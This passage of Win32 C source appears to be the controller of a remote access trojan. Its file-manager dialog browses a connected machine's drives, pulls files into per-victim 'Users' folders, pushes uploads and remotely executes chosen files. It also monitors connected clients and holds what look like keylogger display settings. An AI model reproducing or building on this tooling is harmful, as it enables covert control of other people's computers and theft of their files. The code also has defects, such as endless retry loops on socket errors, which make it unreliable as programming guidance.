  2350.             SentKb+=send(Client[Head.ID],(char *)&Head, sizeof(Head), 0);
  2351. ////////////////////////////////////////////////////////////////////////////////////
  2352.             ResetProcs(hWnd, IDC_FOLDERS);
  2353.             ResetProcs(hWnd, IDC_FILELIST);
  2354.             Head.PacketType = PACKET_FILE_MANAGER_FILE_FOLDER;
  2355.  
  2356.             SentKb+=send(Client[Head.ID],(char*)&Head, HeadSize, 0);
  2357.             }
  2358.             break;
  2359.         case IDC_BACK:
  2360.             {GetWindowText(GetDlgItem(hWnd,IDC_TASK_STATUS), FinalDir, 512);
  2361.                 int D = 0;
  2362.                 while( FinalDir[D] != NULL)
  2363.                 {
  2364.                 D++;
  2365.                 }
  2366.                 if(D == 3 && FinalDir[1] == ':')
  2367.                 {
  2368.                 break;
  2369.                 }
  2370.                 D--;
  2371.                 FinalDir[D] = '\0';
  2372.                 D--;
  2373.                 while(FinalDir[D] != '\\')
  2374.                 {
  2375.                 FinalDir[D] = '\0';
  2376.                 D--;
  2377.                 }
  2378.  
  2379.                 Head.PacketType = PACKET_FILE_MANAGER_FILE_FOLDER;
  2380.                 strcpy(Head.Data, FinalDir);
  2381.  
  2382.                 SendMessage(GetDlgItem(hWnd,IDC_TASK_STATUS), SB_SETTEXT, 0, (LPARAM)FinalDir);
  2383.  
  2384.                 ResetProcs(hWnd, IDC_FOLDERS);
  2385.                 ResetProcs(hWnd, IDC_FILELIST);
  2386.                
  2387.                     GetWindowText(GetDlgItem(hWnd, IDC_ID), WindowOut, 10);
  2388.                     Head.ID = atoi(WindowOut);
  2389.             SentKb+=send(Client[Head.ID],(char*)&Head, HeadSize, 0);
  2390.             }
  2391.             break;
  2392.         case IDC_FIND:
  2393.                 GetWindowText(GetDlgItem(hWnd,IDC_TASK_STATUS), FinalDir, 512);
  2394.                     GetWindowText(GetDlgItem(hWnd, IDC_ID), WindowOut, 10);
  2395.                     Head.ID = atoi(WindowOut);
  2396.           if(SearchHwnd[Head.ID] == NULL)
  2397.           {
  2398.             CreateThread(NULL, 0,SearchWindow,(LPVOID)Head.ID, 0, &thread);
  2399.           }
  2400.           else
  2401.           {
  2402.           }
  2403.             break;
  2404.         case IDC_STOP:
  2405.             GetWindowText(GetDlgItem(hWnd, IDC_ID), WindowOut, 10);
  2406.             Head.ID = atoi(WindowOut);
  2407.  
  2408.             item.iItem=ListView_GetNextItem(GetDlgItem(hWnd,IDC_DOWNLOADS),-1,LVNI_SELECTED);
  2409.             item.mask=LVIF_TEXT;
  2410.             item.iSubItem=3;
  2411.             item.pszText=Text;
  2412.             item.cchTextMax=255;
  2413.             ListView_GetItem(GetDlgItem(hWnd,IDC_DOWNLOADS),&item);
  2414.         //  MessageBox(NULL, Text, "Text", MB_OK);
  2415.  
  2416.             Head.ID2 = atoi(Text);
  2417.             Head.ID3 = 1;
  2418.             Head.PacketType = PACKET_FILE_DOWNLOAD_STAT;
  2419.  
  2420.             SentKb+=send(Client[Head.ID],(char *)&Head, HeadSize, 0);
  2421.  
  2422.             item.iItem=ListView_GetNextItem(GetDlgItem(hWnd,IDC_DOWNLOADS),-1,LVNI_SELECTED);
  2423.             item.mask=LVIF_TEXT;
  2424.             item.iSubItem=0;
  2425.             item.pszText=Text;
  2426.             item.cchTextMax=255;
  2427.             ListView_GetItem(GetDlgItem(hWnd,IDC_DOWNLOADS),&item);
  2428.  
  2429.             item.mask=TVIF_TEXT | TVIF_IMAGE;
  2430.             item.iItem=ListView_GetNextItem(GetDlgItem(hWnd,IDC_DOWNLOADS),-1,LVNI_SELECTED);
  2431.  
  2432.             item.iImage = 6;
  2433.             item.iSubItem=0;
  2434.             item.pszText=Text;
  2435.             item.iItem=ListView_SetItem(GetDlgItem(FileHwnd[Head.ID],IDC_DOWNLOADS),&item);
  2436.  
  2437.     ListView_SetItem(GetDlgItem(FileHwnd[Head.ID],IDC_DOWNLOADS),&item);
  2438.             break;
  2439.         case IDC_PAUSE:
  2440.             GetWindowText(GetDlgItem(hWnd, IDC_ID), WindowOut, 10);
  2441.             Head.ID = atoi(WindowOut);
  2442.  
  2443.             item.iItem=ListView_GetNextItem(GetDlgItem(hWnd,IDC_DOWNLOADS),-1,LVNI_SELECTED);
  2444.             item.mask=LVIF_TEXT;
  2445.             item.iSubItem=3;
  2446.             item.pszText=Text;
  2447.             item.cchTextMax=255;
  2448.             ListView_GetItem(GetDlgItem(hWnd,IDC_DOWNLOADS),&item);
  2449.         //  MessageBox(NULL, Text, "Text", MB_OK);
  2450.  
  2451.             Head.ID2 = atoi(Text);
  2452.             Head.ID3 = 2;
  2453.             Head.PacketType = PACKET_FILE_DOWNLOAD_STAT;
  2454.  
  2455.             SentKb+=send(Client[Head.ID],(char *)&Head, HeadSize, 0);
  2456.             item.iItem=ListView_GetNextItem(GetDlgItem(hWnd,IDC_DOWNLOADS),-1,LVNI_SELECTED);
  2457.             item.mask=LVIF_TEXT;
  2458.             item.iSubItem=0;
  2459.             item.pszText=Text;
  2460.             item.cchTextMax=255;
  2461.             ListView_GetItem(GetDlgItem(hWnd,IDC_DOWNLOADS),&item);
  2462.  
  2463.             item.mask=TVIF_TEXT | TVIF_IMAGE;
  2464.             item.iItem=ListView_GetNextItem(GetDlgItem(hWnd,IDC_DOWNLOADS),-1,LVNI_SELECTED);
  2465.  
  2466.             item.iImage = 5;
  2467.             item.iSubItem=0;
  2468.             item.pszText=Text;
  2469.             item.iItem=ListView_SetItem(GetDlgItem(FileHwnd[Head.ID],IDC_DOWNLOADS),&item);
  2470.             break;
  2471.         case IDC_RESUME:
  2472.             GetWindowText(GetDlgItem(hWnd, IDC_ID), WindowOut, 10);
  2473.             Head.ID = atoi(WindowOut);
  2474.  
  2475.             item.iItem=ListView_GetNextItem(GetDlgItem(hWnd,IDC_DOWNLOADS),-1,LVNI_SELECTED);
  2476.             item.mask=LVIF_TEXT;
  2477.             item.iSubItem=3;
  2478.             item.pszText=Text;
  2479.             item.cchTextMax=255;
  2480.             ListView_GetItem(GetDlgItem(hWnd,IDC_DOWNLOADS),&item);
  2481.  
  2482.             Head.ID2 = atoi(Text);
  2483.             Head.ID3 = 3;
  2484.             Head.PacketType = PACKET_FILE_DOWNLOAD_STAT;
  2485.         //  MessageBox(NULL, Text, "Text", MB_OK);
  2486.             SentKb+=send(Client[Head.ID],(char *)&Head, HeadSize, 0);
  2487.  
  2488.             item.iItem=ListView_GetNextItem(GetDlgItem(hWnd,IDC_DOWNLOADS),-1,LVNI_SELECTED);
  2489.             item.mask=LVIF_TEXT;
  2490.             item.iSubItem=0;
  2491.             item.pszText=Text;
  2492.             item.cchTextMax=255;
  2493.             ListView_GetItem(GetDlgItem(hWnd,IDC_DOWNLOADS),&item);
  2494.  
  2495.             item.mask=TVIF_TEXT | TVIF_IMAGE;
  2496.             item.iItem=ListView_GetNextItem(GetDlgItem(hWnd,IDC_DOWNLOADS),-1,LVNI_SELECTED);
  2497.  
  2498.             item.iImage = 4;
  2499.             item.iSubItem=0;
  2500.             item.pszText=Text;
  2501.             item.iItem=ListView_SetItem(GetDlgItem(FileHwnd[Head.ID],IDC_DOWNLOADS),&item);
  2502.             break;
  2503.  
  2504.         case IDC_EXECUTE:
  2505.             Head.PacketType = PACKET_FILE_MANAGER_FILE_EXECUTE;
  2506.             GetWindowText(GetDlgItem(hWnd,IDC_TASK_STATUS), FinalDir, 512);
  2507.             GetWindowText(GetDlgItem(hWnd, IDC_ID), WindowOut, 10);
  2508.             Head.ID = atoi(WindowOut);
  2509.            
  2510.             item.iItem=ListView_GetNextItem(GetDlgItem(hWnd,IDC_FILELIST),-1,LVNI_SELECTED);
  2511.             item.mask=LVIF_TEXT;
  2512.             item.iSubItem=0;
  2513.             item.pszText=Text;
  2514.             item.cchTextMax=255;
  2515.             ListView_GetItem(GetDlgItem(hWnd,IDC_FILELIST),&item);
  2516.            
  2517.             strcat(FinalDir, Text);
  2518.            
  2519.             strcpy(Head.Data, FinalDir);
  2520.             Head.PacketType = PACKET_FILE_MANAGER_FILE_EXECUTE;
  2521.             SentKb+=send(Client[Head.ID],(char *)&Head, HeadSize, 0);
  2522.             break;
  2523.         case IDC_DOWNLOAD:
  2524.             ZeroMemory(&Head, sizeof(PACKETHEAD));
  2525.             ZeroMemory(FinalDir, sizeof(FinalDir));
  2526.             ZeroMemory(filename, sizeof(filename));
  2527.  
  2528.             GetWindowText(GetDlgItem(hWnd,IDC_TASK_STATUS), FinalDir, 512);
  2529.                         GetWindowText(GetDlgItem(hWnd, IDC_ID), WindowOut, 10);
  2530.                     Head.ID = atoi(WindowOut);
  2531.                
  2532.             item.iItem=ListView_GetNextItem(GetDlgItem(hWnd,IDC_FILELIST),-1,LVNI_SELECTED);
  2533.             item.mask=LVIF_TEXT;
  2534.             item.iSubItem=0;
  2535.             item.pszText=Text;
  2536.             item.cchTextMax=255;
  2537.             ListView_GetItem(GetDlgItem(hWnd,IDC_FILELIST),&item);
  2538.            
  2539.                 strcpy(Buffer, "");
  2540.                 sprintf(Buffer, "Downloading: %s", Text);
  2541.                 GetTime();
  2542.                 SetLogs(Time, "Download", Buffer , "Pass");
  2543.  
  2544.             strcat(FinalDir, Text);
  2545.  
  2546.             for(i=0; i<strlen(FinalDir)-1; i++)
  2547.                   if(FinalDir[i] == '\\')
  2548.                   {
  2549.                      FinalDir[i] = '/';
  2550.                   }
  2551.                strcpy(Head.Data, FinalDir);
  2552.  
  2553.                i = strlen(Head.Data)-1;
  2554.                
  2555.                while(Head.Data[i] != '/')
  2556.                {
  2557.                   i--;
  2558.                }
  2559.                i++;
  2560.  
  2561.                for(;i<(strlen(Head.Data));i++)
  2562.                {
  2563.                   filename[j] = Head.Data[i];
  2564.                   j++;
  2565.                }
  2566.             if(D == 1025)
  2567.             {
  2568.             D = 0;
  2569.             }
  2570.            Head.PacketType = PACKET_FILE_MANAGER_FILE_DOWN;
  2571.            Head.ID2 = D;
  2572.            Head.ID3 = ListView_GetItemCount(GetDlgItem(hWnd,IDC_DOWNLOADS));
  2573.  
  2574.        CreateDirectory("Users",NULL);
  2575.                    
  2576.                        strcat(userra, Head.ID5);
  2577.                
  2578.                        CreateDirectory(userra,NULL);
  2579.    
  2580.                             strcat(namreee,Head.ID5);
  2581.                             strcat(namreee,"\\");
  2582.                             strcat(namreeee,namreee);
  2583.                             strcpy(namreeeee,namreee);
  2584.                             strcat(namreeeee,filename);
  2585.            DOWN[D] = fopen(namreeeee, "wb");
  2586.            if(DOWN[D] == NULL)
  2587.            {
  2588.             //MessageBox(NULL, "NULL", "NULL", MB_OK);
  2589.                break;
  2590.            }
  2591.            else
  2592.            {
  2593.             //MessageBox(NULL, "Success Opening", "Success", MB_OK);
  2594.            }
  2595.  
  2596.     item.mask=TVIF_TEXT | TVIF_IMAGE;
  2597.     item.iItem=D;
  2598.  
  2599.     item.iImage = 4;
  2600.     item.iSubItem=0;
  2601.     item.pszText=filename;
  2602.     item.iItem=ListView_InsertItem(GetDlgItem(FileHwnd[Head.ID],IDC_DOWNLOADS),&item);
  2603.  
  2604.     sprintf(Buffer, "%d", D);
  2605.  
  2606.     item.iSubItem=1;
  2607.     item.pszText="Download";
  2608.     ListView_SetItem(GetDlgItem(FileHwnd[Head.ID],IDC_DOWNLOADS),&item);
  2609.  
  2610.     item.iSubItem=2;
  2611.     item.pszText="Waiting...";
  2612.     ListView_SetItem(GetDlgItem(FileHwnd[Head.ID],IDC_DOWNLOADS),&item);
  2613.  
  2614.     item.iSubItem=3;
  2615.     item.pszText=Buffer;
  2616.     ListView_SetItem(GetDlgItem(FileHwnd[Head.ID],IDC_DOWNLOADS),&item);
  2617.     SentKb+=send(Client[Head.ID],(char *)&Head, HeadSize, 0);
  2618.            D++;
  2619.             break;
  2620.  
  2621.         case IDC_UPLOAD:
  2622.         {
  2623.          GetWindowText(GetDlgItem(hWnd,IDC_TASK_STATUS), FinalDir, 512);
  2624.          OPENFILENAME ofn;
  2625.          
  2626.          
  2627.                     GetWindowText(GetDlgItem(hWnd, IDC_ID), WindowOut, 10);
  2628.                     Head.ID = atoi(WindowOut);
  2629.  
  2630.          ZeroMemory(&ofn, sizeof(ofn));
  2631.          ZeroMemory(&Head, sizeof(Head));
  2632.  
  2633.          GetWindowText(hWnd, WindowOut, 10);
  2634.          WindowOutY[0] = WindowOut[0];
  2635.          Head.ID = atoi(WindowOutY);
  2636.  
  2637.          ofn.lStructSize = sizeof(ofn);
  2638.          ofn.hwndOwner = FileHwnd[Head.ID];
  2639.          ofn.lpstrFilter = "All Files (*.*)\0*.*\0";
  2640.          ofn.lpstrFile = Head.Buf;
  2641.          ofn.nMaxFile = MAX_PATH;
  2642.          ofn.Flags = OFN_EXPLORER | OFN_FILEMUSTEXIST;
  2643.          ofn.lpstrDefExt = "";
  2644.                
  2645.                 strcpy(Buffer, "");
  2646.                 sprintf(Buffer, "Uploading: %s", Head.Buf);
  2647.                 GetTime();
  2648.                 SetLogs(Time, "Upload", Buffer , "Pass");
  2649.  
  2650.             if(GetOpenFileName(&ofn))
  2651.             {
  2652.                ZeroMemory(filename, sizeof(filename));
  2653.              
  2654.                for(i=0; i<strlen(Head.Buf)-1; i++)
  2655.                   if(Head.Buf[i] == '\\')
  2656.                   {
  2657.                      Head.Buf[i] = '/';
  2658.                   }
  2659.                strcpy(Head.Data, Head.Buf);    
  2660.                i = strlen(Head.Buf)-1;
  2661.                
  2662.                while(Head.Buf[i] != '/')
  2663.                {
  2664.                   i--;
  2665.                }
  2666.                i++;
  2667.                
  2668.                for(;i<(strlen(Head.Buf));i++)
  2669.                {
  2670.                   filename[j] = Head.Buf[i];
  2671.                   j++;
  2672.                }           strcpy(Head.Buf2, FinalDir);
  2673.                for(i=0; i<strlen(Head.Buf2); i++)
  2674.                {
  2675.                   if(Head.Buf2[i] == '\\')
  2676.                   {
  2677.                      Head.Buf2[i] = '/';
  2678.                   }
  2679.                }
  2680.            
  2681.               strcat(Head.Buf2, filename);
  2682.  
  2683.        
  2684.             Head.PacketType = PACKET_FILE_MANAGER_FILE_RECV_S;
  2685.             GetWindowText(hWnd, WindowOut, 10);
  2686.             WindowOutY[0] = WindowOut[0];
  2687.             Head.ID = atoi(WindowOutY);
  2688.             Head.ID2 = U;
  2689.             SentKb+=send(Client[Head.ID],(char *)&Head, sizeof(Head), 0);
  2690.             CreateThread(NULL, 0, SendFile,(LPVOID)Head.ID, 0, &thread);
  2691.             }  
  2692.     }
  2693.          break;
  2694.                 case IDCANCEL:
  2695.                       if(MessageBox(NULL, "Closing FileManager will hide transfers, but they will continue in background.", "Closing...", MB_YESNO | MB_ICONQUESTION) == IDYES)
  2696.                 {
  2697.                     GetWindowText(GetDlgItem(hWnd, IDC_ID), WindowOut, 10);
  2698.                     Head.ID = atoi(WindowOut);
  2699.                     FileHwnd[Head.ID] = NULL;
  2700.                     EndDialog(hWnd,Select);
  2701.                     break;
  2702.                       }
  2703.                       else
  2704.                       {
  2705.                           break;
  2706.                      
  2707.                       }
  2708.         }
  2709.  
  2710. ////////////////////////////////////////////////////////////////////////////////
  2711.     default:
  2712.         return FALSE;
  2713.     }
  2714. return TRUE;
  2715. }
  2716.  
  2717. DWORD WINAPI SendFile(LPVOID lpParam)
  2718. {
  2719.    PACKETFILE       File;
  2720.    DWORD            FileSize=sizeof(PACKETFILE);
  2721.    
  2722.    int ID = (int)lpParam;
  2723.    int d = U;
  2724.    
  2725.    if(U > 1023)
  2726.    {
  2727.     U = 0;
  2728.    }
  2729.    U++;
  2730.    char FilePath [1024] = "";
  2731.    strcpy(FilePath, Head.Data);
  2732.    int Error = 0;
  2733.    char IDA[10] = "";
  2734.    unsigned long int pos = 0;
  2735.    unsigned long int length = 0;
  2736.    unsigned long int Nsize = 0;
  2737.    unsigned long int NextSize = 0;
  2738.    int ItemIndex = 0;
  2739.    char UPBUF [30] = "";
  2740.    ItemIndex = ListView_GetItemCount(GetDlgItem(FileHwnd[ID],IDC_DOWNLOADS));
  2741.     sprintf(IDA, "%d", ItemIndex);
  2742.     strcpy(IDA, "");
  2743.     LV_ITEM  item;
  2744.     item.mask=TVIF_TEXT | TVIF_IMAGE;
  2745.     item.iItem=ItemIndex;
  2746.  
  2747.     item.iImage = 7;
  2748.     item.iSubItem=0;
  2749.     item.pszText=Head.Data;
  2750.     item.iItem=ListView_InsertItem(GetDlgItem(FileHwnd[ID],IDC_DOWNLOADS),&item);
  2751.  
  2752.     item.iImage = 7;
  2753.     item.iSubItem=1;
  2754.     item.pszText="Upload";
  2755.     ListView_SetItem(GetDlgItem(FileHwnd[ID],IDC_DOWNLOADS),&item);
  2756.  
  2757.     item.iImage = 7;
  2758.     item.iSubItem=2;
  2759.     item.pszText=" ";
  2760.     ListView_SetItem(GetDlgItem(FileHwnd[ID],IDC_DOWNLOADS),&item);
  2761.    
  2762.     fd[d] = fopen(FilePath, "rb");
  2763.     pos = ftell(fd[d]);
  2764.     fseek(fd[d], 0, SEEK_END);
  2765.     length = ftell(fd[d]);      
  2766.     fseek(fd[d], pos, SEEK_SET);
  2767.     SentKb+=length;
  2768.         NextSize = length - Nsize;
  2769.         ZeroMemory(UPBUF, sizeof(UPBUF));
  2770.         sprintf(UPBUF,"%d Bytes / %d Bytes", Nsize, length);
  2771.                
  2772.         item.iSubItem=2;
  2773.         item.pszText=UPBUF;
  2774.         ListView_SetItem(GetDlgItem(FileHwnd[ID],IDC_DOWNLOADS),&item);
  2775.  
  2776. while(Nsize < length)
  2777. {
  2778.     ZeroMemory(&File, sizeof(File));
  2779.     NextSize = length - Nsize;
  2780.      sprintf(UPBUF,"%d Bytes / %d Bytes", Nsize, length);  
  2781.        
  2782.      
  2783.         item.mask=TVIF_TEXT;
  2784.         item.iItem=ItemIndex;
  2785.  
  2786.         item.iSubItem=2;
  2787.         item.pszText=UPBUF;
  2788.         ListView_SetItem(GetDlgItem(FileHwnd[ID],IDC_DOWNLOADS),&item);
  2789.      
  2790.       if(NextSize < 4096)
  2791.        {
  2792.         fread(File.Data, 1, NextSize, fd[d]);
  2793.        
  2794.         SendAgain4k:
  2795.         File.ID2 = d;
  2796.         File.ID3 = NextSize;                                
  2797.         File.PacketType = PACKET_FILE_MANAGER_FILE_RECV;
  2798.         if(send(FClient[ID], (char *)&File, sizeof(File), 0) == SOCKET_ERROR)
  2799.         {
  2800.          goto SendAgain4k;
  2801.         }
  2802.         break;
  2803.  
  2804.        }
  2805.  
  2806.         fread(File.Data, 1, sizeof(File.Data), fd[d]);
  2807. SendAgain:
  2808.         File.ID2 = d;
  2809.         File.ID3 = 4096;                                
  2810.         File.PacketType = PACKET_FILE_MANAGER_FILE_RECV;
  2811.         if(send(FClient[ID], (char *)&File, sizeof(File), 0) == SOCKET_ERROR)
  2812.         {
  2813.          goto SendAgain;
  2814.         }
  2815.  
  2816.    
  2817.         Nsize += sizeof(File.Data);
  2818.          //percent+=unit;
  2819. }
  2820.    
  2821.  
  2822.         fclose(fd[d]);
  2823.         ZeroMemory(UPBUF, sizeof(UPBUF));
  2824.        
  2825.     ZeroMemory(&File, sizeof(File));
  2826. Try:
  2827.     File.PacketType = PACKET_FILE_MANAGER_FILE_C;
  2828.     File.ID2 = d;
  2829.     if(send(FClient[ID], (char *)&File, sizeof(File), 0) == SOCKET_ERROR)
  2830.     {
  2831.     goto Try;
  2832.     }
  2833.     else
  2834.     {  
  2835.         item.mask=TVIF_TEXT;
  2836.         item.iItem=ItemIndex;
  2837.  
  2838.         item.iSubItem=2;
  2839.         item.pszText="Complete";
  2840.         ListView_SetItem(GetDlgItem(FileHwnd[ID],IDC_DOWNLOADS),&item);
  2841.     }
  2842.     WSASetLastError(0);
  2843.  
  2844.     return 0;  
  2845. }
  2846. LRESULT CALLBACK MainProc(HWND Dlg,UINT message,WPARAM wParam,LPARAM lParam);
  2847.  
  2848. DWORD WINAPI FileConnectWindow(LPVOID lpParam)
  2849. {
  2850.    
  2851.     Connect=CreateDialog(CInst,(LPCTSTR)IDD_CONNECT,NULL,(DLGPROC)FileConnectProc);
  2852.     ShowWindow(Connect,SW_HIDE);   
  2853.     MSG msg;
  2854.     while(GetMessage(&msg,Connect,0,0)==TRUE)
  2855.     {
  2856.         TranslateMessage(&msg);
  2857.         DispatchMessage(&msg);
  2858.     }
  2859.  
  2860. return 0;
  2861. }
  2862. int Reply = 0;
  2863. DWORD WINAPI FileWindow(LPVOID lpParam)
  2864. {
  2865.     FileStruct * FILEWINDOW = (FileStruct *)lpParam;
  2866.     char WindowText [20] = "";
  2867.     char COMPUTER [50] = "";
  2868.     int LID = (int) lpParam;
  2869.     char IDA [10] = "";
  2870.     HICON hIcon;
  2871.  
  2872.     strcpy(COMPUTER, WINDOWIP);
  2873.  
  2874.     FileHwnd[LID]=CreateDialog(FileInst,(LPCTSTR)IDD_FILE,NULL,(DLGPROC)FileProc);
  2875.     ShowWindow(FileHwnd[LID],SW_SHOW);
  2876.     ShowWindow(GetDlgItem(FileHwnd[LID], IDC_ID),SW_HIDE);
  2877.     InitCommonControls();
  2878.  
  2879.     ZeroMemory(&WindowText[0],10);
  2880.     sprintf(&WindowText[0],"File Manager | %s", COMPUTER);
  2881.     sprintf(IDA, "%d", LID);
  2882.    
  2883.     SetWindowText(FileHwnd[LID], WindowText);
  2884.     SetWindowText(GetDlgItem(FileHwnd[LID], IDC_ID), IDA);
  2885.  
  2886.     Head.PacketType = PACKET_FILE_MANAGER_DRIVE;
  2887.     Head.ID = LID;
  2888.     strcpy(Head.Data, "");
  2889.     SentKb+=send(Client[LID],(char*)&Head,HeadSize,0);
  2890.  
  2891.     hIcon=(HICON)LoadImage(GetModuleHandle(NULL), MAKEINTRESOURCE(IDI_ARYAN), IMAGE_ICON, 16, 16, 0);
  2892.     SendMessage(FileHwnd[LID], WM_SETICON,ICON_SMALL,(LPARAM)hIcon);
  2893.     DeleteObject(hIcon);
  2894.     hIcon=(HICON)LoadImage(GetModuleHandle(NULL), MAKEINTRESOURCE(IDI_ARYAN), IMAGE_ICON, 32, 32, 0);
  2895.     SendMessage(FileHwnd[LID], WM_SETICON,ICON_BIG,(LPARAM)hIcon);
  2896.  
  2897.     MSG msg;
  2898.     while(GetMessage(&msg,FileHwnd[LID],0,0)==TRUE)
  2899.     {
  2900.         TranslateMessage(&msg);
  2901.         DispatchMessage(&msg);
  2902.     }
  2903. return 0;
  2904. }
  2905. HINSTANCE SetInst;
  2906. int Connections = 0;
  2907. char ConnectionsA [20];
  2908. DWORD WINAPI CheckStatus(LPVOID lpParam)
  2909. {
  2910. int W = 0;
  2911. int GID = 0;
  2912. char Stat [256] = "";
  2913. PACKETHEAD  Check;
  2914. LV_ITEM     item;
  2915. char Buffer [1024] = "";
  2916. char PingBuffer [100] = "";
  2917. int Ping = 0;
  2918. while(1)
  2919. {
  2920. for(W;W<=ListView_GetItemCount(GetDlgItem(HwND,IDC_SERVERLIST));W++)
  2921.             {
  2922.            
  2923.             item.iItem=W;
  2924.             item.mask=LVIF_TEXT | LVIF_IMAGE;
  2925.             item.iSubItem=0;
  2926.             item.pszText=Stat;
  2927.             item.cchTextMax=255;
  2928.             ListView_GetItem(GetDlgItem(HwND,IDC_SERVERLIST),&item);
  2929.  
  2930.             item.iItem=W;
  2931.             item.mask=LVIF_TEXT | LVIF_IMAGE;
  2932.             item.iSubItem=0;
  2933.             item.pszText=PingBuffer;
  2934.             item.cchTextMax=255;
  2935.             ListView_GetItem(GetDlgItem(HwND,IDC_SERVERLIST),&item);
  2936.         //MessageBox(NULL, PingBuffer, "PingBuffer", MB_OK);
  2937.             GID = atoi (Stat);
  2938.            
  2939.             if(!strcmp(Stat, ""))
  2940.             {
  2941.             //MessageBox(NULL, "stat == nothing","STAT", MB_OK);
  2942.             break;
  2943.             }
  2944.  
  2945.             Check.PacketType = STATUS;
  2946.             Sleep(10000);
  2947.  
  2948.             ZeroMemory(Buffer, sizeof(Buffer));    
  2949.             sprintf(Buffer, "Sent: %d KB / Recv: %d KB", SentKb / 1024, RecvKb / 1024);
  2950.             SendMessage(GetDlgItem(HwND,IDC_MAIN_STATUS) , SB_SETTEXT, 2, (LPARAM)Buffer);
  2951.  
  2952.                 if(send(Client[GID],(char *)&Check, sizeof(PACKETHEAD), 0) == SOCKET_ERROR)
  2953.                 {
  2954.                     if(WSAGetLastError() == WSAECONNRESET)
  2955.                     {
  2956.                     Connections--;
  2957.                     strcpy(ConnectionsA, "");
  2958.                     sprintf(ConnectionsA, "Connections: %d",Connections);
  2959.                     SendMessage(hStatus, SB_SETTEXT, 3, (LPARAM)ConnectionsA);
  2960.  
  2961.                     ListView_DeleteItem(GetDlgItem(HwND,IDC_SERVERLIST),W);
  2962.                     closesocket(Client[GID]);
  2963.                     }
  2964.                 }
  2965.                 else
  2966.                 {
  2967.                
  2968.                   Ping = 0;
  2969.                   while(Reply == 2000)
  2970.                   {
  2971.                    Ping++;
  2972.                    Sleep(1);
  2973.                   }
  2974.                   ZeroMemory(Stat, sizeof(Stat));
  2975.                   if(Ping < 300)
  2976.                   {
  2977.                   sprintf(PingBuffer, "%d", Reply);
  2978.                   item.iItem=W;
  2979.                   item.iSubItem=0;
  2980.                   item.mask=LVIF_TEXT | LVIF_IMAGE;
  2981.                   item.iImage = 3;
  2982.                   item.pszText=PingBuffer;
  2983.                   ListView_SetItem(GetDlgItem(HwND,IDC_SERVERLIST),&item);
  2984.                  // MessageBox(NULL, Buffer, "Buffer", MB_OK);
  2985.                                   }
  2986.                  
  2987.                   if(Ping > 300)
  2988.                
  2989.                       {
  2990.                   sprintf(PingBuffer, "%d", Reply);
  2991.                   item.iItem=W;
  2992.                   item.iSubItem=0;
  2993.                   item.mask=LVIF_TEXT | LVIF_IMAGE;
  2994.                   item.iImage = 1;
  2995.                   item.pszText=PingBuffer;
  2996.                   ListView_SetItem(GetDlgItem(HwND,IDC_SERVERLIST),&item);
  2997.                  
  2998.                   //MessageBox(NULL, Buffer, "Buffer", MB_OK);
  2999.                       }
  3000.                     if(Ping > 699)
  3001.                   {
  3002.  
  3003.                   sprintf(PingBuffer, "%d", Reply);
  3004.                   item.iSubItem=0;
  3005.                   item.iItem=W;
  3006.                   item.mask=LVIF_TEXT | LVIF_IMAGE;
  3007.                   item.iImage = 2;
  3008.                   item.pszText=PingBuffer;
  3009.                   ListView_SetItem(GetDlgItem(HwND,IDC_SERVERLIST),&item);
  3010.                  // MessageBox(NULL, Buffer, "Buffer", MB_OK);
  3011.                   }
  3012.  
  3013.  
  3014.              ZeroMemory(Buffer, sizeof(Buffer));
  3015.              sprintf(Buffer, "%d", dwTextColor);
  3016.              SetWindowText(GetDlgItem(HwND, IDC_KEYCOLOUR) ,Buffer);
  3017.  
  3018.              ZeroMemory(Buffer, sizeof(Buffer));
  3019.              sprintf(Buffer, "%d",dwTimeColor );
  3020.              SetWindowText(GetDlgItem(HwND, IDC_KEYCOLOUR2) ,Buffer);
  3021.  
  3022.              ZeroMemory(Buffer, sizeof(Buffer));
  3023.              sprintf(Buffer, "%d", dwTitleColor);
  3024.              SetWindowText(GetDlgItem(HwND, IDC_KEYCOLOUR3) ,Buffer);
  3025.  
  3026.              
  3027.              ZeroMemory(Buffer, sizeof(Buffer));
  3028.              sprintf(Buffer, "%d", dwBackColor);
  3029.              SetWindowText(GetDlgItem(HwND, IDC_KEYCOLOUR4) ,Buffer);
  3030.                 }
  3031.                 Reply = 2000;
  3032.                 Ping = 0;
  3033.                 }
  3034. Sleep(1000);
  3035. W=0;
  3036. }
  3037. return 0;
  3038. }
  3039.  
  3040.  
  3041. /////////////////////////////////////////////////////////////////////////////////////////////////
  3042. //EULA
  3043. LRESULT CALLBACK EULAProc(HWND hwnd,UINT message,WPARAM wParam,LPARAM lParam)
  3044. {
  3045.  HANDLE hFile;
  3046.  LPSTR pszFileText;
  3047.  int Select;
  3048.     switch(message)
  3049.     {
  3050. ////////////////////////////////////////////////////////////////////////////////
  3051.     case WM_INITDIALOG:
  3052.         SendMessage(hwnd, WM_SETICON,ICON_SMALL,IDI_ARYAN);
  3053.         SendMessage(hwnd, WM_SETICON,ICON_BIG,IDI_ARYAN);
  3054.  
  3055.         hFile = CreateFile("eula.txt", GENERIC_READ, FILE_SHARE_READ, NULL,OPEN_EXISTING, 0, NULL);
  3056.                  if(hFile != INVALID_HANDLE_VALUE)
  3057.                 {
  3058.                  DWORD dwFileSize;
  3059.  
  3060.                 dwFileSize = GetFileSize(hFile, NULL);
  3061.                 if(dwFileSize != 0xFFFFFFFF)
  3062.                 {
  3063.                 pszFileText = (char *)GlobalAlloc(GPTR, dwFileSize + 1);
  3064.                      if(pszFileText != NULL)
  3065.                 {
  3066.                         DWORD dwRead;
  3067.  
  3068.                         if(ReadFile(hFile, pszFileText, dwFileSize, &dwRead, NULL))
  3069.                     {
  3070.                        pszFileText[dwFileSize] = 0; // Add null terminator
  3071.                      SetWindowText(GetDlgItem(hwnd,IDC_EULA), pszFileText);
  3072.                          
  3073.                     }
  3074.                 GlobalFree(pszFileText);
  3075.                  }
  3076.                 }
  3077.         CloseHandle(hFile);
  3078.              }
  3079.        
  3080.         InitCommonControls();
  3081.         /////////////////////////////////////////////////////////////
  3082.  
  3083.     break;
  3084.  
  3085.  
  3086.     case WM_COMMAND:
  3087.         Select=LOWORD(wParam);
  3088.         switch(Select)
  3089.         {
  3090.         case IDC_AGREE:
  3091.             EndDialog(hwnd,Select);
  3092.             break;
  3093.         case IDC_DISAGREE:
  3094.             ExitProcess(0);
  3095.             EndDialog(hwnd,Select);
  3096.             PostQuitMessage(0);
  3097.             break;
  3098.         case IDCANCEL:
  3099.                     ExitProcess(0);
  3100.                     EndDialog(hwnd,Select);
  3101.                     PostQuitMessage(0);
  3102.                     break;
  3103.         }
  3104.  
  3105. ////////////////////////////////////////////////////////////////////////////////
